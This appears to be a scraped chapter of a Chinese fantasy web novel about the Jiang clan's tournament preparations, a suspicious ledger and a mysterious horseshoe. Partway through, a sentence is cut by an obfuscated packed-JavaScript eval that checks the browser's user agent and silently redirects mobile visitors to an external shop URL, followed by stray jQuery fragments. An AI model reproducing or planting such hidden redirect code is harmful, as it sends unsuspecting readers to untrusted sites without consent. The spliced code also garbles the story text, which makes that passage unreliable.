一天下来，姜掌事的眉头是越拧越深了，她愤愤地向胡夫子告状：
“不干了！挑一天，没一个能合格的！才一寸香的时长！”
胡夫子安抚她，说现在的小孩都这样，没有几个能在这个年纪就做到秦南归那样的成绩。而后拿起成绩单仔细看，在上面挑挑拣拣，选了几个名字出来，道：
“就这几个人吧，先挑出来试试看；不合适再换。”
“还有四个月就要报名了，来得及吗？”
“先试，不行就去掌门面前请罪嘛。”
胡夫子无所谓地耸了耸肩，一副掌门又能奈我何的样子：“我已经是一个小小的夫子了，又不是掌事，再罚也罚不到哪去。”
姜掌事想起当年胡夫子极力推荐自己当上掌事的时候，给她的理由是要让年轻人多些机会，然后笑着退出了……不知她这盘棋下了多久！
“胡夫子！你当年还是我的夫子呢！你现在怎么能遇事就躲呢？”
“没躲没躲，这不是给你选出来人了吗？”
胡夫子把名单往姜掌事手里一塞，摇头晃脑道：
“好好训，肯定可以。”
姜掌事接下名单，仔细把人的名字过了一遍：
贺明漪、柳策、温良、杜令仪。
胡夫子平日不正经的时候躲，正经的时候少；但是一旦正经起来，做的事都无可挑剔，尤其是涉及到挖人才和教学生。
姜掌事记下这几个人的名字，心里开始盘算起来。
**
荣家的亲戚来往得很快，年还没过完，荣耀的娘就亲自过九川来姜家拜年了。
掌门连忙迎上去，想着摆点什么排场做个体面，郡夫人直接摆了摆手，说不必在乎那些虚礼，姜、荣早就跟一家人一样。
听到这话，掌门心里头就明白了一半，找个理由屏退左右，又用灵术封住了屋内门窗，整个屋子里只与郡夫人、林掌事和掌门三人。
此时，郡夫人才掏出一本书册出来。
估计是怕这书册被人察觉，一路上郡夫人都是贴身放着的，递出来是还温热着。
掌门接过书册，发现正是荣家的一册账本。
“蒋姨，这是……”
“上次荣耀在一个账本里发现了一趟镖，里头运的是水银石，这事传到家里，家姑十分诧异，吩咐我着手去查，我这次是把查到的东西带来给姜掌门看看。”
郡夫人字字恳切，指着账本上的明细道：
“这趟镖，是九川的周家下的；这些货，是要运去长安，给一个叫李栋的人。”
！
掌门和胡夫子对视一眼，都看见了彼此眼里的震惊。
是刚死在衡堂里的李栋么？
“姜掌门，是知道了什么吗？”见状，郡夫人忍不住问。
“实不相瞒，这个李栋，我们应该见过。”林掌事开口。
“那正好，快说些，家姑在长安的人脉有限，打听起来并不顺利；只知道这李栋是化名，和某位皇子有关系。”
掌门无奈一叹：“可惜，我们也只知道这些消息。”
“不是说见过吗？”
“见过，还抓住了；可惜，被人害死在自家牢里了。”掌门讽刺悲叹：“以前只晓得快些接手祖母的家业，却不小心让人蛀进来了。”
“掌门还年轻……我此番前来，也是听家姑说，姜家现在似乎十分棘手，不知道前路如何，所以才想着能不能尽些薄力，好歹分些忧。”
“蒋姨，你能把这个账本送来，已经是荣家给的一个莫大的情面了！”掌门真心感叹：“整个九川上，还有几家盼着我姜家好呢。”
郡夫人知道这是在说周家，秀气的眉毛拧了起来，道：
“周家的事我也听说了，怎么好端端的，要让瑶瑶嫁过去呢？！也不问瑶瑶乐不乐意！”
“他们才不在乎；我猜，周家是知道了什么有关瑶瑶身份的消息……”
说着，掌门便把那日审问李栋的细节告诉了郡夫人，道：
“我怀疑，瑶瑶的血脉对周家有什么用处，所以我更不可能随便把瑶瑶交出去，谁也不行。”
“瑶瑶……是巫？”
郡夫人一时有写难以接受这个消息，她一只以为姜仲元和家姑一样，只是一个没什么天赋的灵族，或者说，空有灵族身份的人族；因此在荣家里，她一直对瑶瑶很有好感，总觉得她们娘俩是一类人。
“对，荣家对我袒胸至此，我也不好掩埋什么，我只是后怕，以后瑶瑶该如何自保。”
“掌门现在做何打算？不然就让瑶瑶改名换姓，来到我荣家藏起来；我们荣家养她。说出去不好听，可能让瑶瑶躲了那个什么‘血祭’。”
“不成，”掌门断然否决：“我姜家人，没有做一辈子蠹虫的先例。”
说到此处，她转回安慰郡夫人：“放心吧，蒋姨，我不会让瑶瑶有事，她毕竟是我的妹妹……我一定给她安排一个好去处。”
“这就不是蠹虫了？”郡夫人打趣道：“你不问问瑶瑶乐不乐意？”
“她？她只要有架可打，就没什么不乐意的；”掌门也开玩笑：“神仙要是真拿她做血祭，神仙也得不乐意！”
郡夫人停了，笑了好一阵。掌门解开了封印，三人又聊起今年的大雪、来年的播种和孩子的教养，里里外外全是年节拜访时常见的话题。
“说了那么久瑶瑶了，她人呢？”
“为了年后的长林榜，正训练呢。”
“过年也不休息？”
“她想休，她的对手可不一定想休。”
**
这个时候，姜仲元现在的对手，是真的想休息了。
“姜掌事，我都累了，让我去休息好不好？让她自己在这练刀。”
秦南归在看姜仲元练第七遍破雪刀的时候，终于忍不住向姜掌事开口抱怨了。
“我来这，是让你看她的身法，找出她的破绽的。”姜掌事板着一张脸，不为所动。
“看什么啊，一个灵术丢过去不就好了……”秦南归嘟囔着，显然并不想在这上头浪费时间。
“你的法术如今是越发精进了，次次都能扔出实火球了是吧？我看那掌门的位置合该你坐，掌门哪有你有天赋？！”
须知灵族力量本源便是万物之灵，不是万物之实。因而众多天赋不高的灵族终其一生只能做到通灵而做不到触实。
可是姜
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17948579|206417||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
仲元，偏偏是一个怕实不怕灵的奇人。
真刀真枪伤的了她，对大多数灵族有用的灵术、灵脉互相克制一类的，反而于她无效。
被这样劈头盖脸一顿教训，秦南归脸上、嘴上、心上，都不服气，反驳道：
“那我找她的破绽又是为了什么？她又不是我的对手，掌门硬塞进来一个人，一路捆着我上长林榜就是了，非要她上赛去现眼吗？”
“执行掌门的命令。”姜掌事声音冷硬：“掌门自有打算。”
这时候，姜仲元耍完刀法，兴冲冲地跑过来，问：“怎么样？！我感觉第七遍我已经悟出来了一些，之前有几处身法不够流畅，我这遍都改过来了，看见了吗？”
姜掌事不满地看了眼秦南归，而后夸赞她：
“有进步，下一步就是想好如何融进队里；这次先选出来了几人，下午就一起练，对手就是秦南归。”
“什么？！”秦南归大吃一惊：“怎么现在才告诉我？来人是谁？灵力几何？什么境界？”
“晚了，长林赛赛场上可不会给你讲得那么详细，更何况我之前已经给过你一次机会了。”
姜掌事朝着姜仲元努努嘴：“我让你看了七遍呢。”
秦南归这下明白姜掌事的用意了——姜仲元做队友帮助不大，做对手可太棘手了，面对境界较低的灵族，直接站在对面当个盾牌，只要不是那种强到直接触实的灵族，基本都只能对着她望洋兴叹。
再加上，灵族也只是肉身凡胎，大多没有像她这样天天习武，灵术无用了就如羔羊……
“好了，中午好生休息，下午胡夫子也会在场，看看你们打得怎么样。”
**
陆行舟消失了几天，是替姜掌门查东西了。
准确的说，是替姜家和蒋家查案去了。
今日，他从杜家回来，带回来一样东西，一样几乎不可能出现在九川的东西。
房门大锁，灵术缠绕，和上午一样的布局，只是其间的人从郡夫人换成了陆行舟。
他掏出一样黑乎乎的、呈月牙型的东西，递了上去。
“蹄铁？”姜掌门眼睛细，一下子就看出来是什么东西。
“对。”陆行舟点头。
“九川虽然山多，用牛更多，但是也有不少人用马，拿一个蹄铁回来备着也正常，有什么不妥？”掌门疑惑。
“尺寸不对。”林掌事在一旁开口。
“正是。”陆行舟点头称是，把话头接过去：“山上的马用来运货，山路小，马蹄子也小，这个太大了，非得是开阔的地方，大马才能钉上这样的蹄铁跑起来。”
掌门接过蹄铁，仔细端详。
左手凝成一缕火焰，上红下白，上虚下实。把蹄铁缓缓放了上去。
陆行舟看见这样子，垂下眼睫，再次感叹姜掌门的天赋之强。
似乎是掌门的火焰太过霸道，蹄铁被烧掉了颜色，一缕黑烟飘起，蹄铁变得光亮洁白。
掌门把它放在案上，好奇地碰了一下被火烧过的地方，弹指间，像是被烫到般惊呼一声。
“掌门！”林掌事赶紧附身去看，却听见掌门开口：
“我看见了……母亲！”